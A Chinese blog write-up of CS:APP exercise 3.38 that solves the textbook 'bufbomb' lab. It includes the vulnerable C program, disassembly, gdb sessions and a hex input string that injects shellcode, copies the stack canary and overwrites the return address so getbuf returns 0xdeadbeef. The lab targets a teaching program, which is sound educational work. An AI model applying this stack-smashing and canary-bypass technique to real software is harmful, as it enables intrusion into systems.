缓冲区溢出——《深入理解计算机系统》习题3.38详解

缓冲区溢出——《深入理解计算机系统》习题 3.38 详解

 

最近在攻读《深入理解计算机系统》( CS:APP) 一书,上面的实验题很有趣味。习题 3.38 说明了缓冲区溢出的基本原理,我颇费了一番心思才搞定了这道题,详解如下。

 

一、题目:

CS APP 的网站上下载文件 bufbomb.c ,地址http://csapp.cs.cmu.edu/public/1e/public/ics/code/asm/bufbomb.c

内容如下:

 

01 /* Bomb program that is solved using a buffer overflow attack */
02
03 #include
04 #include
05 #include
06
07 /* Like gets, except that characters are typed as pairs of hex digits.
08    Nondigit characters are ignored.  Stops when encounters newline */
09 char * getxs( char * dest)
10 {
11   int c;
12   int even = 1; /* Have read even number of digits */
13   int otherd = 0; /* Other hex digit of pair */
14   char *sp = dest;
15   while (( c = getchar()) != EOF && c != '/n') {
16     if ( isxdigit( c)) {
17       int val;
18       if ( '0' <= c && c <= '9')
19     val = c - '0';
20       else if ( 'A' <= c && c <= 'F')
21     val = c - 'A' + 10;
22       else
23     val = c - 'a' + 10;
24       if ( even) {
25     otherd = val;
26     even = 0;
27       } else {
28     *sp ++ = otherd * 16 + val;
29     even = 1;
30       }
31     }
32   }
33   *sp ++ = '/0';
34   return dest;
35 }
36
37 /* $begin getbuf-c */
38 int getbuf()
39 {
40     char buf [ 12 ];
41     getxs( buf);
42     return 1;
43 }
44
45 void test()
46 {
47   int val;
48   printf( "Type Hex string:");
49   val = getbuf();
50   printf( "getbuf returned 0x%x /n " , val);
51 }
52 /* $end getbuf-c */
53
54 int main()
55 {
56
57   int buf [ 16 ];
58   /* This little hack is an attempt to get the stack to be in a
59      stable position
60   */
61   int offset = ((( int) buf) & 0xFFF);
62   int * space = ( int *) alloca( offset);
63   * space = 0; /* So that don't get complaint of unused variable */
64   test();
65   return 0;
66 }

 

 

函数 getxs (也在 bufbomb.c 中)类似于库函数 gets ,除了它是以十六进制数字对的编码方式读入字符的以外。比如说,要给它一个字符串 "0123" ,用户应该输入字符串“ 30 31 32 33” 。这个函数会忽略空格字符。回忆一下,十进制数字 x ASCII 表示为 0x3x

很明显,正常情况下,无论输入的是多少,都应该打印出 1 ,书上给出的典型的运行结果如下:

 

unix>./bufbomb

Type Hex string:30 31 32 33

getbuf returned 0x1

 

而我们的任务是,只简单地对提示符输入一个适当的十六进制字符串,就使 getbuf test 返回 -559038737(0xdeadbeef)

本题最终求得的字符串是非常依赖于机器和编译器的,实际上我的实验表明,由于栈保护机制的作用,每一次运行时的字符串都会不同。

书中还给出了三条很有价值的建议,在下文的解题过程中会体现出来,此处略去不提。

 

二、运行平台:

我的系统是 Ubuntu 8.10 ,内核 Linux 2.6.27 ,编译器 gcc-4.3.2

 

三、详解:

1、编译 bufbomb.c ,再用 objdump -d 命令反汇编,抽取其中有价值的两个函数的汇编代码如下:

 

08048574 :

8048574: 55                   push %ebp

8048575: 89 e5                mov %esp,%ebp

常规的栈处理

8048577: 83 ec 18             sub $0x18,%esp

分配栈空间 24 字节

804857a: 65 a1 14 00 00 00    mov %gs:0x14,%eax

8048580: 89 45 fc             mov %eax,-0x4(%ebp)

%gs:0x14 处的内容放到栈

中,用于溢出保护

8048583: 31 c0                xor %eax,%eax

8048585: 8d 45 f0             lea -0x10(%ebp),%eax

缓冲区的首地址

8048588: 89 04 24             mov %eax,(%esp)

将缓冲区的首地址放入栈中,

作为参数传递给函数 getxs

804858b: e8 14 ff ff ff       call 80484a4

8048590: b8 01 00 00 00       mov $0x1,%eax

将返回值放入 %eax

8048595: 8b 55 fc             mov -0x4(%ebp),%edx

8048598: 65 33 15 14 00 00 00 xor %gs:0x14,%edx

检测栈是否溢出

804859f: 74 05                je 80485a6

80485a1: e8 36 fe ff ff      call 80483dc <__stack_chk_fail@plt> 栈溢出错误处理

80485a6: c9                   leave

80485a7: c3                   ret

 

080485a8 :

80485a8: 55                   push %ebp

80485a9: 89 e5                mov %esp,%ebp

80485ab: 83 ec 18             sub $0x18,%esp

80485ae: c7 04 24 20 87 04 08 movl $0x8048720,(%esp)

80485b5: e8 12 fe ff ff       call 80483cc

80485ba: e8 b5 ff ff ff       call 8048574

80485bf: 89 45 fc             mov %eax,-0x4(%ebp)

函数 getbuf 的返回地址

80485c2: 8b 45 fc             mov -0x4(%ebp),%eax

80485c5: 89 44 24 04          mov %eax,0x4(%esp)

80485c9: c7 04 24 31 87 04 08 movl $0x8048731,(%esp)

80485d0: e8 f7 fd ff ff       call 80483cc

80485d5: c9                   leave

80485d6: c3                   ret

 

在这段汇编代码中的重要部分已经做了注释,需要特别注意的是一下几点:

1 )函数 getbuf 的栈结构如下所示:

 

---------------

返回地址

---------------

保存的 %ebp       <------%ebp

---------------

%gs:0x14 的值

---------------

缓冲区

---------------

缓冲区

---------------

缓冲区

---------------

保留区域

---------------

保留区域                   <------%esp

---------------

 

栈结构中上层是高地址,下层是低地址,每一层为 4 字节。可以清晰地看出开辟了总共 12 字节的缓冲区。不过,实际上只能用 11 字节,因为必须保留最后一个字节用作字符串的结束符 '/0' 。由 bufbomb.c 的代码可知,函数 getxs 会将 '/0' 写入字符串的末尾。

 

2 )编译器的栈溢出保护。这个问题困扰了我好久,刚开始我根本不明白怎么突然冒出来个 %gs:0x14 ,还进行了好几次莫名其妙的操作。仔细观察汇编代码,发现原来编译器是利用存储器中地址为 %gs:0x14 处的值进行溢出保护。将这个值放入紧邻帧指针 %ebp 的那四个字节中,在缓冲区存储结束后再比较这个值和内存中的原值。如果缓冲区溢出,这个值十之八九会被修改,则程序跳转到栈溢出的异常处理。

也许是 CS:APP 这本书写的时候 gcc 还没有这个功能吧,要不怎么书中一点儿也没有提到这事情。不过,这种机制使得每次攻击这个程序所使用的字符串都必须不同,只能每次都使用 gdb 调试才能知道内存 %gs:0x14 中到底是什么,然后才能确定攻击字符串。

 

 

2 、由 getbuf 的汇编代码可知, getbuf 0x1 放到 %eax 寄存器中,向函数 test 传递返回值。因此,要想让 test 收到不同的返回值,就必须在返回 test 之前把寄存器 %eax 的值修改为 0xdeadbeef

我的方案是:在缓冲区中存入指令,将 %eax 设为 0xdeadbeef 。利用缓冲区溢出,把上面示意图中的前三层栈全部覆盖,修改返回地址为缓冲区的首地址。这样 getbuf 返回后就能执行我存在缓冲区中的指令了。

可见,在缓冲区中存入的指令必须完成一下两个任务:

1 )将 %eax 寄存器的值修改为 0xdeadbeef

2 )正常返回函数 test

由函数 test 的汇编代码可知, getbuf 的返回地址为 0x80485bf 。所以,可以确定我要写入缓冲区的指令为:

mov $0xdeadbeef, %eax

push $0x80485bf

ret

 

将这些代码保存为文件 overflow.s ,用命令 gcc -c 编译,再用 objdump -d 反汇编可得这些指令对应的机器代码如下:

0: b8 ef be ad de mov $0xdeadbeef,%eax

5: 68 bf 85 04 08 push $0x80485bf

a: c3 ret

代码总共 11 字节,缓冲区共有 12 字节,因此在末尾加上一个 0x90 空操作指令。所以在缓冲区输入的指令代码为:

b8 ef be ad de 68 bf 85 04 08 c3 90

 

 

3 、用 gdb bufbomb 调试,在 getbuf 中设置断点,确定上面栈图示中前三层的内容。

以下是我的一次完整的运行过程:

 

(gdb) run bufbomb

Starting program: /home/deepenxu/bufbomb bufbomb

 

Breakpoint 1, 0x0804857a in getbuf ()

(gdb) info registers

eax 0x10 16

ecx 0x0 0

edx 0xb7f150d0 -1208921904

ebx 0xb7f13ff4 -1208926220

esp 0xbfa3ffa0 0xbfa3ffa0

ebp 0xbfa3ffb8 0xbfa3ffb8

esi 0x8048670 134514288

edi 0x80483f0 134513648

eip 0x804857a 0x804857a

eflags 0x200286 [ PF SF IF ID ]

cs 0x73 115

ss 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51

 

得到 %ebp 的值 0xbfa3ffb8 ,缓冲区的首地址为 -0x10(%ebp) 0xbfa3ffa8

 

(gdb) stepi

0x08048580 in getbuf ()

(gdb) print /x $eax

$2 = 0xb4b0b000

 

取得 %gs:0x14 的值

 

(gdb) x/4 0xbfa3ffb8

0xbfa3ffb8: 0xbfa3ffd8 0x080485bf 0x08048720 0x00000000

寻找最近的 '/0'

(gdb) continue

Continuing.

Type Hex string:b8 ef be ad de 68 bf 85 04 08 c3 90 00 b0 b0 b4 d8 ff a3 bf a8 ff a3 bf 20 87 04 08

getbuf returned 0xdeadbeef

 

Program exited normally.

完成任务!

(gdb) kill

The program is not being run.

(gdb) delete

Delete all breakpoints? (y or n) y

(gdb) quit

退出 gdb

 

中文部分是我做的注释,在以上步骤中,有两点特别值得注意:

1 )输入字符串的时候要小心顺序!从低地址向高地址逐个字节地输入。

2 getxs 函数会在字符串末尾加上 '/0' ,也就是一个字节的 0x00 。这是一个不可忽视的细节。因此必须检查覆盖掉返回地址后内存中最近的一个 0x00 出现在哪里,然后就覆盖到这里。如我输入的字符串的最后五个字节: bf 20 87 04 08 就是这个目的。我反复试验了很多次,每次都不一样,有时可能要多输入很多字节。

 

 

至此,本题可算是告一段落了。我还有一个小小的问题没有解决,不知道用 jmp 指令能不能跳转到缓冲区的攻击代码处呢?尝试一下。

你可能感兴趣的:(缓冲区溢出——《深入理解计算机系统》习题3.38详解)